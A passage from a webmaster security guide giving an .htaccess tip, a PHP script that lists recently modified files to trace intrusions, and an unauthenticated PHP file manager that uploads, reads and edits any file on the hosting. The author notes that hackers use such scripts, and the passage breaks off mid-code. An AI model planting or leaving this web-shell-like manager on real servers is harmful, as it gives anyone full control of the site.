<p>Finally, your CMS, blog or e-commerce often uses the .htaccess file to include more readable URL rewriting rules. Set the hacker filters first and the URL rewriting rules at the end. This is because the filters apply from the first to the last. Placing the anti-hacker filters after the URL rewriting rules of your CMS, blog or e-commerce would not bring any benefit (this is not 100% true, but there are reasons).</p>
<a id="fichmodif"></a><hr><br>
<header>
<h2>Have the list of modified and added files</h2>
</header>
<p>Here is a small php script that allows you to have a list of the last files created <strong>AND</strong> modified.</p>
<p>If you have been hacked, you will find out which files have been added and which ones have been modified by the hacker with the date and time. So, by comparing the date of these modified files to the logs, you will know if the editing is normal or not and you will know when and how the hacker hit.</p>
<p>It is also used to understand the behaviour of a script or a CMS, blog, wiki and see which files have been manipulated by this software.</p>
<p>Copy the code below and create a text file that you can call for example: list-modif.php<br>
Put this script in your hosting in the folder “www” or “public_html”, open it with your web browser, enter the number of days representing the period to be checked, then the name of the folder to be scanned. The file path must end with / as for example “/forum/” which will correspond to “/home/yourloginftp/www/forum/”.<br>
If you want to check the entire contents of the “www” or “public_html” folder, just click on the “Check Files” button.</p>
<p>Be careful, if you have a lot of files and directories, the listing may take too much time to complete and the script may stop after 30 seconds of execution. If this is the case, try to search directory by directory.</p>
<p>This script will only list folders from the path “/home/yourloginftp/www/” or “/home/yourloginftp/public_html/” of your hosting. Once the operation is completed, delete this file to avoid any unintended use.</p>
<p>You can get this PHP file here: <a href="depot/modif-en.zip">modif-en.zip (2.1 KB)</a></p>
<span class="smallfont">Code PHP:</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;height:40em;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #BC7A00"><?php</span>
<span style="color: #408080; font-style: italic">/*</span>
<span style="color: #408080; font-style: italic">Lists the last files created AND modified.</span>
<span style="color: #408080; font-style: italic">Very useful in case of hacking to know which files are added and which have been modified. Useful to understand the behaviour of a script or CMS and see which files have been manipulated.</span>
<span style="color: #408080; font-style: italic">Save this script in your hosting, open it with your web browser, give the number of days representing the period to be checked, then the name of the folder to be scanned.</span>
<span style="color: #408080; font-style: italic">This script will only list folders from the path /home/yourloginftp/www/ of your hosting.</span>
<span style="color: #408080; font-style: italic">Delete the file after use.</span>
<span style="color: #408080; font-style: italic">Credits: 4/5 of the code is the work of Linda MacPhee-Cobb (http://timestocome.com)</span>
<span style="color: #408080; font-style: italic">*/</span>
<span style="color: #19177C">$go_back</span> <span style="color: #666666">=</span> <span style="color: #666666">0</span>; <span style="color: #408080; font-style: italic">/* display result or not */</span>
<span style="color: #19177C">$i</span> <span style="color: #666666">=</span> <span style="color: #666666">0</span>; <span style="color: #408080; font-style: italic">/* loop counter */</span>
<span style="color: #19177C">$dir_count</span> <span style="color: #666666">=</span> <span style="color: #666666">0</span>; <span style="color: #408080; font-style: italic">/* loop initialisation */</span>
<span style="color: #19177C">$date</span> <span style="color: #666666">=</span> <span style="color: #008000">time</span>(); <span style="color: #408080; font-style: italic">/* current date and time */</span>
<span style="color: #19177C">$one_day</span> <span style="color: #666666">=</span> <span style="color: #666666">86400</span>; <span style="color: #408080; font-style: italic">/* number of seconds for a day */</span>
<span style="color: #19177C">$days</span> <span style="color: #666666">=</span> <span style="color: #008000">preg_replace</span>(<span style="color: #BA2121">'~[^0-9]~i'</span>,<span style="color: #BA2121">''</span>, <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">"jours"</span>]); <span style="color: #408080; font-style: italic">/* number of days to check */</span>
<span style="color: #19177C">$path</span> <span style="color: #666666">=</span> <span style="color: #008000">preg_replace</span>(<span style="color: #BA2121">'~[^_A-Za-z0-9-\.%\/]~i'</span>,<span style="color: #BA2121">''</span>, <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">"chemin"</span>]); <span style="color: #408080; font-style: italic">/* absolute file path (with cleanup against hacking) */</span>
<span style="color: #19177C">$path</span> <span style="color: #666666">=</span> <span style="color: #008000">preg_replace</span>(<span style="color: #BA2121">"/\.\.\//"</span>,<span style="color: #BA2121">''</span>, <span style="color: #19177C">$path</span>); <span style="color: #408080; font-style: italic">/* you forbid the command ../ */</span>
<span style="color: #008000">define</span>(<span style="color: #BA2121">'ABSPATH'</span>, <span style="color: #008000">dirname</span>(<span style="color: #008000; font-weight: bold">__FILE__</span>));
<span style="color: #19177C">$path</span> <span style="color: #666666">=</span> ABSPATH<span style="color: #666666">.</span><span style="color: #19177C">$path</span>; <span style="color: #408080; font-style: italic">/* absolute file path of your account such as /home/loginftp/www/ or /home/loginftp/public_html/ etc. */</span>
<span style="color: #19177C">$directories_to_read</span>[<span style="color: #19177C">$dir_count</span>] <span style="color: #666666">=</span> <span style="color: #19177C">$path</span>;
<span style="color: #408080; font-style: italic">/* Form to go back in time */</span>
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<html><body><h3>Checking the last modified files <br /> in your hosting.</h3>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<table><tr><td>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<form method=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">post</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<tr><td>Number of days to check 1-99: </td>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<td>&nbsp;&nbsp;<input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">text</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">jours</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> maxlength=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">2</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> size=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">2</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></td></tr>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<tr><td>Name of the directory to check: </td>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<td>"</span><span style="color: #666666">.</span>ABSPATH<span style="color: #666666">.</span><span style="color: #BA2121">" <input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">text</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">chemin</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> maxlength=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">80</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> size=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">30</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">/</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> > (put a / at the end)</td></tr>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<tr><td> </td><td><input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">submit</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> Check Files </span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"</form>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"</td></tr></table>"</span>;
<span style="color: #408080; font-style: italic">/* Result display */</span>
<span style="color: #19177C">$go_back</span> <span style="color: #666666">=</span> <span style="color: #19177C">$one_day</span> <span style="color: #666666">*</span> <span style="color: #19177C">$days</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<br /> Back to the <strong>"</span> <span style="color: #666666">.</span> (<span style="color: #19177C">$go_back</span><span style="color: #666666">/</span><span style="color: #19177C">$one_day</span>) <span style="color: #666666">.</span><span style="color: #BA2121">"</strong> last days. <br /><br />"</span>;
<span style="color: #008000; font-weight: bold">if</span> ( <span style="color: #19177C">$go_back</span> <span style="color: #666666">></span> <span style="color: #666666">0</span> ){
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<table><tr><th>File Name</th><th>Modification Date</th></tr>"</span>;
<span style="color: #19177C">$diff</span> <span style="color: #666666">=</span> <span style="color: #19177C">$date</span> <span style="color: #666666">-</span> <span style="color: #19177C">$go_back</span>;
<span style="color: #008000; font-weight: bold">while</span> ( <span style="color: #19177C">$i</span> <span style="color: #666666"><=</span> <span style="color: #19177C">$dir_count</span> ){
<span style="color: #19177C">$current_directory</span> <span style="color: #666666">=</span> <span style="color: #19177C">$directories_to_read</span>[<span style="color: #19177C">$i</span>];
<span style="color: #408080; font-style: italic">/* get file information */</span>
<span style="color: #19177C">$read_path</span> <span style="color: #666666">=</span> <span style="color: #008000">opendir</span>( <span style="color: #19177C">$directories_to_read</span>[<span style="color: #19177C">$i</span>] );
<span style="color: #008000; font-weight: bold">while</span> ( <span style="color: #19177C">$file_name</span> <span style="color: #666666">=</span> <span style="color: #008000">readdir</span>( <span style="color: #19177C">$read_path</span>)){
<span style="color: #008000; font-weight: bold">if</span> (( <span style="color: #19177C">$file_name</span> <span style="color: #666666">!=</span> <span style="color: #BA2121">'.'</span> )<span style="color: #666666">&&</span>( <span style="color: #19177C">$file_name</span> <span style="color: #666666">!=</span> <span style="color: #BA2121">'..'</span> )){
<span style="color: #008000; font-weight: bold">if</span> ( <span style="color: #008000">is_dir</span>( <span style="color: #19177C">$current_directory</span> <span style="color: #666666">.</span> <span style="color: #BA2121">"/"</span> <span style="color: #666666">.</span> <span style="color: #19177C">$file_name</span> ) ){
<span style="color: #408080; font-style: italic">/* need to get all the files in a directory */</span>
<span style="color: #19177C">$d_file_name</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$current_directory</span><span style="color: #BA2121">"</span> <span style="color: #666666">.</span> <span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$file_name</span><span style="color: #BA2121">"</span>;
<span style="color: #19177C">$dir_count</span><span style="color: #666666">++</span>;
<span style="color: #19177C">$directories_to_read</span>[<span style="color: #19177C">$dir_count</span>] <span style="color: #666666">=</span> <span style="color: #19177C">$d_file_name</span> <span style="color: #666666">.</span> <span style="color: #BA2121">"/"</span>;
}<span style="color: #008000; font-weight: bold">else</span>{
<span style="color: #19177C">$file_name</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$current_directory</span><span style="color: #BA2121">"</span> <span style="color: #666666">.</span> <span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$file_name</span><span style="color: #BA2121">"</span>;
<span style="color: #408080; font-style: italic">/* If modified times more recent than x days, display, otherwise, pass */</span>
<span style="color: #008000; font-weight: bold">if</span> ( (@<span style="color: #008000">filemtime</span>( <span style="color: #19177C">$file_name</span>)) <span style="color: #666666">></span> <span style="color: #19177C">$diff</span> ){
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<tr><td> </span><span style="color: #BB6688; font-weight: bold">$file_name</span><span style="color: #BA2121"> </td>"</span>;
<span style="color: #19177C">$date_changed</span> <span style="color: #666666">=</span> <span style="color: #008000">filemtime</span>( <span style="color: #19177C">$file_name</span> );
<span style="color: #19177C">$pretty_date</span> <span style="color: #666666">=</span> <span style="color: #008000">date</span>(<span style="color: #BA2121">"d/m/Y H:i:s"</span>, <span style="color: #19177C">$date_changed</span>);
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<td> ::: </span><span style="color: #BB6688; font-weight: bold">$pretty_date</span><span style="color: #BA2121"></td></tr>"</span> ;
}
}
}
}
@<span style="color: #008000">closedir</span> ( <span style="color: #19177C">$read_path</span> );
<span style="color: #19177C">$i</span><span style="color: #666666">++</span>;
}
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"</table>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<br />Delete the file after use.</body></html>"</span>;
} <span style="color: #408080; font-style: italic">/* if go_back > 0 ) */</span>
<span style="color: #BC7A00">?></span>
</pre></div>
<a id="gesfic"></a><hr><br>
<header>
<h2>File manager to control your web space</h2>
</header>
<p>This file manager written in PHP allows you to manipulate the content of a web space, as you would do by FTP. You can create, read, delete, compress, decompress, change rights, rename files and folders. Its interface is simplistic but efficient.</p>
<p>It is with this kind of script that the hacker modifies your site when he succeeds in exploiting a security flaw by sending his file to your hosting.</p>
<p>Copy the code below and create a text file that you can call for example gesfic.php<br>
Put this script in your hosting in the folder “www” or “public_html” or elsewhere, and open it with your web browser.</p>
<p>The manager gives read and write access to all the space of your hosting. Once the operation is completed, delete this file to avoid any unintended use.</p>
<p>You can get this PHP file here: <a href="depot/gesfic-en.zip">gesfic-en.zip (4.3 KB)</a></p>
<span class="smallfont">Code PHP:</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;height:40em;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #BC7A00"><?php</span>
<span style="color: #408080; font-style: italic">/* ############################# */</span>
<span style="color: #408080; font-style: italic">/* File Manager */</span>
<span style="color: #408080; font-style: italic">/* TO BE DELETED AFTER USE */</span>
<span style="color: #408080; font-style: italic">/* ############################# */</span>
<span style="color: #408080; font-style: italic">/* Add, modify files and folders in a directory */</span>
<span style="color: #408080; font-style: italic">/* ############################# */</span>
<span style="color: #008000">set_time_limit</span>(<span style="color: #666666">0</span>);
<span style="color: #008000">error_reporting</span>(<span style="color: #666666">0</span>);
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<!DOCTYPE HTML></span>
<span style="color: #BA2121"><html></span>
<span style="color: #BA2121"><head></span>
<span style="color: #BA2121"><style></span>
<span style="color: #BA2121">body {font-family: monospace;background-color: #ffffff;}</span>
<span style="color: #BA2121">.petit {font-size:.8em;}</span>
<span style="color: #BA2121">#content tr:hover {background-color: #008580;text-shadow:0px 0px 10px #ffffff;}</span>
<span style="color: #BA2121">#content .first {background-color: #008580;}</span>
<span style="color: #BA2121">#content .first:hover {background-color: #008580;text-shadow:0px 0px 1px #ffffff;}</span>
<span style="color: #BA2121">table {border: 1px #008580 dotted;}</span>
<span style="color: #BA2121">a {color: mediumblue;text-decoration: none;}</span>
<span style="color: #BA2121">a:hover {color: #fff;text-shadow:0px 0px 10px #ffffff;}</span>
<span style="color: #BA2121">input,select,textarea {border: 1px #000000 solid;border-radius:5px;}</span>
<span style="color: #BA2121">.milieu {display: block;margin:0 auto;}</span>
<span style="color: #BA2121">.centre {text-align:center;}</span>
<span style="color: #BA2121"></style></span>
<span style="color: #BA2121"></head></span>
<span style="color: #BA2121"><body></span>
<span style="color: #BA2121"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center"></span>
<span style="color: #BA2121"><tr><td>File path >> '</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'path'</span>])) {
<span style="color: #19177C">$path</span> <span style="color: #666666">=</span> <span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'path'</span>];
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #19177C">$path</span> <span style="color: #666666">=</span> <span style="color: #008000">getcwd</span>();
}
<span style="color: #19177C">$path</span> <span style="color: #666666">=</span> <span style="color: #008000">str_replace</span>(<span style="color: #BA2121">'\\'</span>, <span style="color: #BA2121">'/'</span>, <span style="color: #19177C">$path</span>);
<span style="color: #19177C">$paths</span> <span style="color: #666666">=</span> <span style="color: #008000">explode</span>(<span style="color: #BA2121">'/'</span>, <span style="color: #19177C">$path</span>);
<span style="color: #008000; font-weight: bold">foreach</span> (<span style="color: #19177C">$paths</span> <span style="color: #008000; font-weight: bold">as</span> <span style="color: #19177C">$id</span> <span style="color: #666666">=></span> <span style="color: #19177C">$pat</span>) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$pat</span> <span style="color: #666666">==</span> <span style="color: #BA2121">''</span> <span style="color: #666666">&&</span> <span style="color: #19177C">$id</span> <span style="color: #666666">==</span> <span style="color: #666666">0</span>) {
<span style="color: #19177C">$a</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">true</span>;
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<a href="?path=/">/</a>'</span>;
<span style="color: #008000; font-weight: bold">continue</span>;
}
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$pat</span> <span style="color: #666666">==</span> <span style="color: #BA2121">''</span>) <span style="color: #008000; font-weight: bold">continue</span>;
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<a href="?path='</span>;
<span style="color: #008000; font-weight: bold">for</span> (<span style="color: #19177C">$i</span> <span style="color: #666666">=</span> <span style="color: #666666">0</span>;<span style="color: #19177C">$i</span> <span style="color: #666666"><=</span> <span style="color: #19177C">$id</span>;<span style="color: #19177C">$i</span><span style="color: #666666">++</span>) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$paths[$i]</span><span style="color: #BA2121">"</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$i</span> <span style="color: #666666">!=</span> <span style="color: #19177C">$id</span>) <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">"/"</span>;
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'">'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$pat</span> <span style="color: #666666">.</span> <span style="color: #BA2121">'</a>/'</span>;
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'</td></tr><tr><td>'</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_FILES</span>[<span style="color: #BA2121">'file'</span>])) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">copy</span>(<span style="color: #19177C">$_FILES</span>[<span style="color: #BA2121">'file'</span>][<span style="color: #BA2121">'tmp_name'</span>], <span style="color: #19177C">$path</span> <span style="color: #666666">.</span> <span style="color: #BA2121">'/'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$_FILES</span>[<span style="color: #BA2121">'file'</span>][<span style="color: #BA2121">'name'</span>])) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Upload successful!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Upoload failed!</strong></font><br>'</span>;
}
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<form enctype="multipart/form-data" method="POST"></span>
<span style="color: #BA2121">Upload a file <input type="file" name="file"></span>
<span style="color: #BA2121"><input type="submit" value="Send"></span>
<span style="color: #BA2121"></form>'</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'dossier'</span>])) {
<span style="color: #19177C">$nomDossier</span> <span style="color: #666666">=</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'dossier'</span>];
<span style="color: #19177C">$nomDossier</span> <span style="color: #666666">=</span> <span style="color: #008000">str_replace</span>(<span style="color: #BA2121">' '</span>, <span style="color: #BA2121">'_'</span>, <span style="color: #19177C">$nomDossier</span>);
<span style="color: #19177C">$nomDossier</span> <span style="color: #666666">=</span> <span style="color: #008000">preg_replace</span>(<span style="color: #BA2121">'/[^a-zA-Z0-9\/_-]/'</span>, <span style="color: #BA2121">''</span>, <span style="color: #19177C">$nomDossier</span>);
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">file_exists</span>(<span style="color: #19177C">$nomDossier</span>)) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Existing folder</strong></font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">mkdir</span>(<span style="color: #19177C">$nomDossier</span>, <span style="color: #666666">0755</span>)) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Adding folder successful!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Add folder failed!</strong></font><br>'</span>;
}
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<form method="POST"></span>
<span style="color: #BA2121">Create a <strong>folder</strong> with absolute path <input type="text" name="dossier" value="'</span> <span style="color: #666666">.</span> <span style="color: #008000">realpath</span>(<span style="color: #19177C">$path</span>) <span style="color: #666666">.</span> <span style="color: #BA2121">'/name-directory/"></span>
<span style="color: #BA2121"><input type="submit" value="Save"></span>
<span style="color: #BA2121"></form>'</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'creafichier'</span>])) {
<span style="color: #19177C">$creaFichier</span> <span style="color: #666666">=</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'creafichier'</span>];
<span style="color: #19177C">$creaFichier</span> <span style="color: #666666">=</span> <span style="color: #008000">str_replace</span>(<span style="color: #BA2121">' '</span>, <span style="color: #BA2121">'_'</span>, <span style="color: #19177C">$creaFichier</span>);
<span style="color: #19177C">$creaFichier</span> <span style="color: #666666">=</span> <span style="color: #008000">preg_replace</span>(<span style="color: #BA2121">'/[^a-zA-Z0-9\/\._-]/'</span>, <span style="color: #BA2121">''</span>, <span style="color: #19177C">$creaFichier</span>);
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">file_exists</span>(<span style="color: #19177C">$creaFichier</span>)) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Existing file</strong></font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span><span style="color: #008000">file_exists</span>(<span style="color: #19177C">$creaFichier</span>)) {
<span style="color: #19177C">$anse</span> <span style="color: #666666">=</span> <span style="color: #008000">fopen</span>(<span style="color: #19177C">$creaFichier</span>,<span style="color: #BA2121">'c+'</span>); <span style="color: #19177C">$ducontenu</span><span style="color: #666666">=</span><span style="color: #BA2121">'Sample content'</span>; <span style="color: #008000">fwrite</span>(<span style="color: #19177C">$anse</span>,<span style="color: #19177C">$ducontenu</span>); <span style="color: #008000">fclose</span>(<span style="color: #19177C">$anse</span>);
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Adding file successful!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Add file failed!</strong></font><br>'</span>;
}
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<form method="POST"></span>
<span style="color: #BA2121">Create a <em>file</em> with absolute path <input type="text" name="creafichier" value="'</span> <span style="color: #666666">.</span> <span style="color: #008000">realpath</span>(<span style="color: #19177C">$path</span>) <span style="color: #666666">.</span> <span style="color: #BA2121">'/file.txt"></span>
<span style="color: #BA2121"><input type="submit" value="Save"></span>
<span style="color: #BA2121"></form>'</span>;
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<br><br>'</span> <span style="color: #666666">.</span> <span style="color: #008000">php_uname</span>() <span style="color: #666666">.</span> <span style="color: #BA2121">'</span>
<span style="color: #BA2121"></td></tr>'</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'filesrc'</span>]) <span style="color: #666666">&&</span> <span style="color: #008000">isset</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'telechargefichier'</span>])) { telFichBin(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'filesrc'</span>]); }
<span style="color: #008000; font-weight: bold">elseif</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'filesrc'</span>])) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">"<tr><td>Files >> "</span>;
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'filesrc'</span>];
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'</td></tr></table><br>'</span>;
<span style="color: #19177C">$ext_fich</span> <span style="color: #666666">=</span> substr(<span style="color: #008000">strrchr</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'filesrc'</span>],<span style="color: #BA2121">'.'</span>),<span style="color: #666666">1</span>);
<span style="color: #19177C">$media_ext_liste</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'jpg'</span>,<span style="color: #BA2121">'png'</span>,<span style="color: #BA2121">'gif'</span>,<span style="color: #BA2121">'ico'</span>,<span style="color: #BA2121">'pdf'</span>,<span style="color: #BA2121">'mp3'</span>,<span style="color: #BA2121">'wav'</span>,<span style="color: #BA2121">'webp'</span>,<span style="color: #BA2121">'heic'</span>,<span style="color: #BA2121">'heif'</span>,<span style="color: #BA2121">'mp4'</span>,<span style="color: #BA2121">'mov'</span>,<span style="color: #BA2121">'hevf'</span>,<span style="color: #BA2121">'av1'</span>);
<span style="color: #19177C">$binaire_ext_liste</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'zip'</span>,<span style="color: #BA2121">'gz'</span>,<span style="color: #BA2121">'doc'</span>,<span style="color: #BA2121">'docx'</span>,<span style="color: #BA2121">'xls'</span>,<span style="color: #BA2121">'xlsx'</span>,<span style="color: #BA2121">'ppt'</span>,<span style="color: #BA2121">'pptx'</span>,<span style="color: #BA2121">'odt'</span>,<span style="color: #BA2121">'ods'</span>,<span style="color: #BA2121">'odp'</span>,<span style="color: #BA2121">'rtf'</span>,<span style="color: #BA2121">'pages'</span>,<span style="color: #BA2121">'numbers'</span>,<span style="color: #BA2121">'key'</span>);
<span style="color: #008000; font-weight: bold">if</span>(<span style="color: #008000">in_array</span>(<span style="color: #19177C">$ext_fich</span> , <span style="color: #19177C">$media_ext_liste</span>)) { <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<p><form method="POST" action="?filesrc='</span><span style="color: #666666">.</span><span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'filesrc'</span>]<span style="color: #666666">.</span><span style="color: #BA2121">'&path='</span><span style="color: #666666">.</span><span style="color: #19177C">$path</span><span style="color: #666666">.</span><span style="color: #BA2121">'&telechargefichier=1"><input class="milieu" type="submit" value="Download the file"></form></p><iframe class="milieu" width="700" height="700" src="'</span> <span style="color: #666666">.</span>cheminWeb(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'filesrc'</span>])<span style="color: #666666">.</span> <span style="color: #BA2121">'"></iframe>'</span>; }
<span style="color: #008000; font-weight: bold">elseif</span>(<span style="color: #008000">in_array</span>(<span style="color: #19177C">$ext_fich</span> , <span style="color: #19177C">$binaire_ext_liste</span>)) { telFichBin(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'filesrc'</span>]); }
<span style="color: #008000; font-weight: bold">else</span> {<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<p><form method="POST" action="?filesrc='</span><span style="color: #666666">.</span><span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'filesrc'</span>]<span style="color: #666666">.</span><span style="color: #BA2121">'&path='</span><span style="color: #666666">.</span><span style="color: #19177C">$path</span><span style="color: #666666">.</span><span style="color: #BA2121">'&telechargefichier=1"><input class="milieu" type="submit" value="Download the file"></form></p><pre>'</span> <span style="color: #666666">.</span> <span style="color: #008000">htmlspecialchars</span>(<span style="color: #008000">file_get_contents</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'filesrc'</span>]), <span style="color: #19177C">ENT_QUOTES</span>, <span style="color: #BA2121">'UTF-8'</span>) <span style="color: #666666">.</span> <span style="color: #BA2121">'</pre>'</span>;}
}
<span style="color: #008000; font-weight: bold">elseif</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'option'</span>]) <span style="color: #666666">&&</span> (<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'chmod'</span><span style="color: #666666">||</span><span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'rename'</span><span style="color: #666666">||</span><span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'move'</span><span style="color: #666666">||</span><span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'edit'</span>)) {
